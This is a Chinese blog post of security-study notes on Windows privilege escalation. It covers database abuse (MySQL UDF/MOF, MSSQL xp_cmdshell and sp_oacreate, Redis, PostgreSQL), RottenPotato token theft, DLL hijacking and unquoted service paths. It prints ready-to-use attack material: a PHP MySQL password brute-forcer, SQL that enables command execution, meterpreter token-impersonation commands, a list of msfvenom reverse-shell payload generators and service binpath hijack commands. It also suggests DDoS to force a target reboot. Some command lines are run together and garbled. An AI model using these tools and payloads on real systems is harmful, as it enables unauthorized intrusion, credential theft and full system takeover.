网安学习-Windows权限提升2

目录

MY&MS&ORA等SQL数据库提权

数据库提权

探针

收集

分类

MySQL数据库提权(具体看XD老师的课程,这里只记录知识点)

UDF提权(基于MYSQL调用命令执行函数)

MOF知识点(基于mysql特性的安全问题)

启动项知识点(基于配合OS自启动)

反弹知识点(基于利用反弹特性命令执行)

扫描二维码关注公众号,回复: 14433012 查看本文章

MSSQL数据库提权

使用xp_cmdshell进行提权

使用sp_oacreate提权

使用SQL server沙盒提权

Oracle数据库提权

普通用户模式

DBA用户模式(自动化工具演示)

注入提升模式:(sqlmap测试演示)

Redis数据库提权

Postgresql

Windows2008&7令牌窃取提升权限

Windows2003&10进程注入提升-本地


MY&MS&ORA等SQL数据库提权

核心:获得数据库的账号和密码,可以在web和本地都尝试

背景:在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但是需要知道数据库的提权的条件:服务器开启数据库服务以及获得最高的数据库权限的账号和密码,除了Access数据库意外,其他的数据库基本都存在数据库提权的可能。

数据库提权

  1. 探针
  2. 收集
  3. 分类
  4. 提权

探针

包括着端口、服务、其他,判断是否存在着数据库服务。

收集

收集数据库的最高权限密码、账号,可以通过配置文件、存储文件、暴力破解以及其他的方式。

分类

其中根据数据库的不同,提权的方式也不相同,具体如下:

MySQL:

        UDF提权

        MOF提权

        启动项

        反弹shell

MSSQL:

        xp_cmdshell

        sp_oacreate

        sp_oamethod

        沙盒模式

        映像劫持

Oracle

        普通用户

        DBA用户

        注入模式

......

MySQL数据库提权(具体看XD老师的课程,这里只记录知识点)

环境为阿里云(PHP+MYSQL环境)

流程:服务探针->信息收集->提权利用->获取权限

UDF提权(基于MYSQL调用命令执行函数)

读取常见的网站数据库配置文件(需要了解其命名规则以及查找的技巧):常见的配置文件关键字为sql data inc config conn database common include等等。

读取数据库存储或者备份文件(了解其数据库存储格式以及对应内容)

mysql数据库的密码存储在mysql数据库中。(select * from mysql_user;)

如果想要获取这个文件,可以下载该文件,在.MYD文件中寻找

mysql中的data文件夹中的mysql文件夹的user.MYD.

还可以通过在线的脚本进行爆破(此时数据是需要支持外联的),提供一个大佬写的脚本。

<html>
 <head>
  <title>Mysql账号密码在线爆破工具</title>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 </head>
 <body>
  <center>
   <br><br>
   <h1>Mysql账号密码在线爆破工具 V2.0</h1>
  <br>
<?php
 if(@$_POST['submit']){
   $host = @$_POST['host'];
   if($host!==""){
    $username = "root";//用户名字典
	$password = array();
	$filename = "pwd.txt"; //同目录下密码字典
	$i=0;
	$file = fopen($filename,'r');
	while(! feof($file)){
		$password[$i] = fgets($file);
		$i++;
	}


	fclose($file);
    echo "<hr><br>-----------------------爆破状态-----------------------<br>";
    for ($l=0; $l <= count($password); $l++) {
		$password1 = trim($password[$l]);	//除去左右空白
		if(@mysql_connect($host, $username, $password1)){
			echo "<script>alert('数据库密码为:{$password1}')</script>";
			echo "<br><br><font color='red'>爆破成功--密码-->".@$password1."</font>";
			break;
		}else{
			continue;
		}
    }
    echo "<br>----------------------爆破结束-----------------------<br><hr>";
   }else{
    echo "<script>alert('黑客,输入数据库IP地址')</script>";
   }
 }
?>
<br><br><br><br>
  <form action="Completion.php" method="post">
   数据库IP地址:<input type="text" name="host"/>
   <input type="submit" value="爆破" name="submit"/>
  </form>
<center>
</body>
 </html>

保存为Completion.php文件,将密码字典放置同目录下为pwd.txt文件。

原文链接:https://blog.csdn.net/weixin_49150931/article/details/123026142

之后利用自定义执行函数导出dll文件进行命令执行

手工创建plugin目录或者利用NTFS流创建

select  'x'  into  dumpfile  '目录/lib/plugin::INDEX_ALLOCATION';

注意:

mysql的版本 < 5.1   导出目录为c:/windows或system32

mysql的版本 >= 5.1   导出安装目录/lib/plugin/

MOF知识点(基于mysql特性的安全问题)

导出自定义MOF文件到系统目录加载,具体看大佬的文章mof提权原理及其过程 - 珍惜少年时 - 博客园

启动项知识点(基于配合OS自启动)

导出自定义可执行文件到启动目录配合重启执行,将创建好的后门或执行文件进行服务器启动项写入,配合重启执行。

mysql操作开启外联,然后利用MSF的exploit/mysql/mysql_start_up。

如何让对方的服务器重启?XD老师说了一种方法就是DDOS攻击,使得对方服务器重启。(真刑)

反弹知识点(基于利用反弹特性命令执行)

如:nc -l -p 5566

MSSQL数据库提权

流程:服务探针->信息收集->提权利用->获取权限

使用xp_cmdshell进行提权

xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它

启用:EXEC sp_configure 'show advanced options',1 ;Reconfigure;EXEC sp_configure 'xp_cmdshell',1;关闭;EXEC sp_configure 'show advanced options',1;reconfigure;exec sp_config 'xp_cmdshell',0;reconfigure;执行;exec master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll恢复

exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program

Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'

使用sp_oacreate提权

主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。

启用:EXEC sp_configure 'show advanced options' ,1;Reconfigure with override;EXEC sp_configure 'Ole Automation Procedures',1;Reconfigure with override;关闭:EXEC sp_configure 'show advanced options' ,1;Reconfigure with override;EXEC sp_configure 'Ole Automation Procedures',0;Reconfigure with override;执行:delare @shell int exec sp_oacreate 'wscript.shell',@shelloutput exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.exe'

使用SQL server沙盒提权

参考文献:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客

exec sp_configure 'show advanced options',1;reconfigure;

不开启的话在执行xp_rewrite会提示需要开启。

Oracle数据库提权

普通用户模式

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

DBA用户模式(自动化工具演示)

拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。

注入提升模式:(sqlmap测试演示)

拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证。

Redis数据库提权

Redis数据库提权的方式有三种,分别如下:

  1. 利用计划任务执行命令反弹shell
  2. 写ssh-keygen公钥使用私钥登录
  3. 低权限写webshell

Redis服务因为配置不当,可以被攻击者利用,攻击者借助Redis内置命令,可以将现有的数据而已清空;如果Redis以root身份运行,攻击者可以往服务器上写入ssh公钥,直接登陆服务器。连接(未授权或者有密码)参考文献:https://blog.csdn.net/fly_hps/articls/details/80937837

Postgresql

Postgresql是一种关系型数据库,其中9.3到11版本中存在一处‘特性’,管理员或具有“COPYTO/FROGRAM”权限的用户,可以使用这个特性执行任意命令。

CVE-2018-1058

CVE-2019-9193

之后会尝试复现这两个漏洞(目前在搭建中)参考文献:https://vulhub.org/#/environments/postgres/

高权限就是数据库的名字(Postgresql)

Windows2008&7令牌窃取提升权限

在windows中,每一个进程都是由某一个用户执行的,因此,可以窃取该用户的令牌,进行远程过程调用时请求权限提升,然后调用它从而生成特权安全令牌以执行特权操作。令牌不仅仅用于进程本身,还用于原始请求进程时,漏洞就会出现。

Windows2003&10进程注入提升-本地

进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有这实现权限共享机制,这类技术主要利用在Windows2008之前的操作系统上

pexec64 32进程注入工具针对-win2008及后操作系统

烂土豆

RottenPotato(烂土豆)提权的原理可以简单描述为:

  1. 欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端上。
  2. 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌,这个过程通过一系列的Windows API调用实现的。
  3. 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。测试过程中,发现使用已经创建好的账户(就是上面说的用户级账户)去反弹meterpreter,然后再去执行EXP的时候会出现失败。但是使用菜刀(IIS服务器权限)反弹meterpreter就会成功。

烂土豆比热土豆的优点如下:

  1. 100%可靠
  2. (当时)全版本通杀
  3. 立即生效,不用像hot potato那样有时候需要等待Windows更新才能使用

总之,我对这个的理解是通过中间人攻击,将COM(NT\SYSTEM权限)在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

必备知识点:

#令牌窃取配合上烂土豆提权

单纯令牌窃取:web权限或本地提权

如配合烂土豆提权:web或者数据库等提权

upload /root/potato.exe C:\Users\Publiccd C:\\Users\\Publicuse incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -uimpersonate_token "NT AUTHORITY\\SYSTEM"

大体上的思路就是通过上传的大马,先来执行cmd,查看当前的用户以及权限,使用msf来生成木马。生成木马的命令如下,代码来源于MSF(2)——各种木马的生成及简单的免杀_漫路在线的博客-CSDN博客_msf生成木马

Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f elf > shell.elf

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f exe > shell.exe

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f macho > shell.macho

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f asp > shell.asp

JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.jsp

WAR 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f war > shell.war

Bath
msfvenom -p cmd/unix/reverse_bash LHOST=你的IP LPORT=你监听的端口 -f raw > shell.sh

Perl
msfvenom -p cmd/unix/reverse_perl LHOST=你的IP LPORT=你监听的端口 -f raw > shell.pl

Python 
msfvenom -p python/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.py

之后通过生成的webshell上传木马,并且执行(在执行之前要先使用msf进行监听),当执行木马的时候,msf便可以监听到会话,上传烂土豆并且执行(执行并非是在web上执行,而是在msf中执行)通过执行potato.exe文件,之后就是通过令牌窃取的方法来实现权限提升。

dll劫持

DLL劫持提权原理:Windows程序启动的时候需要DLL,如果这些DLL不存在,则可以通过在应用程序要查找的位置防止恶意的DLL来提权,通常,Windows应用程序有其预先定义好的搜索DLL路径,它会根据下面的顺序进行搜索。

  1. 应用程序加载的目录
  2. C:\Windows\system32
  3. C:\Windows\system
  4. C:\Windows
  5. 当前工作目录Current Working Directory,CWD
  6. 在PATH环境变量的目录(先系统后用户)

过程:信息收集(收集服务器上其他的第三方应用程序)-之后就可以尝试下载一个对应的第三方应用程序进行进程调试(主要就是分析这个程序在启动的时候调用了哪一些dll文件)-尝试制作dll木马文件并上传-将原来的dll文件进行替换-启动应用程序后成功拿到权限。

收集到当前的用户是DefaultAppPool,并且在D盘下面发现了存在着flashfxp第三方应用程序。之后就是下载一个 flashfxp应用,通过火绒剑来分析,该应用程序在启动的时候,会调用哪一些dll文件(通过火绒剑的进程调试)

 寻找一些非系统文件,使用msf来生成dll木马文件,通过上传dll文件,将原来的dll文件进行替换,替换为我们生成的DLL木马文件,使用msf来监听,当启动该应用程序的时候,便会调用DLL,成功监听到,然后在使用令牌窃取,窃取权限“NT AUTHORITY\SYSTEM”,实现权限提升。

对于DLL提权,需要满足以下的几个条件:

  1. 对方存在着第三方应用程序
  2. 能够生成DLL木马文件,并实现替换
  3. 管理员要去运行这个第三方程序

服务权限

不安全的服务权限配合MSF-本地提权

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改它导致重定向执行文件。

过程:检测服务权限配置-制作文件并上传-更改服务器路径指向-调用后成功

accesschk.exe -uwcqv "administrators" *

sc config "NewServiceName" binpath="C:\test.exe"

sc start "NewServiceName"

不带引号服务路径配合MSF-web,本地提权

原理:当windows服务运行时,会发生以下两种情况之一,如果给出了可执行文件,并且引用了完整路径,则系统会按照字面解释它并且执行,但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

过程:检测引号服务路径-利用路径制作文件并上传-启用服务或者是重启-调用后成功提权

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

这个过程就是在检测服务器上是否存在着有问题的服务路径,如果路径没有被引号包括起来,且路径中存在着空格,那么就会出现问题,例如如果运行结果显示有一条是这样的:C:\Program Files\cmd.exe,由于Program和Files之间存在着一个空格,那么运行的服务并不是cmd.exe而是C盘下的Program.exe。

因此我们在寻找存在问题的服务路径的时候,不仅仅需要看有没有带引号,还需要看路径中是否存在着空格,找存在空格的服务路径。所以在这种情况下,我们可以通过msf生成Program.exe的木马文件,上传至C盘下,然后用本地启用服务,通过msf的端口监听,获得会话。

关于Windows提权的相关知识点总结说明,需要掌握提权方法对应层面,提权方法对应的系统版本,相关文件以及后门的免杀问题等。

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125838357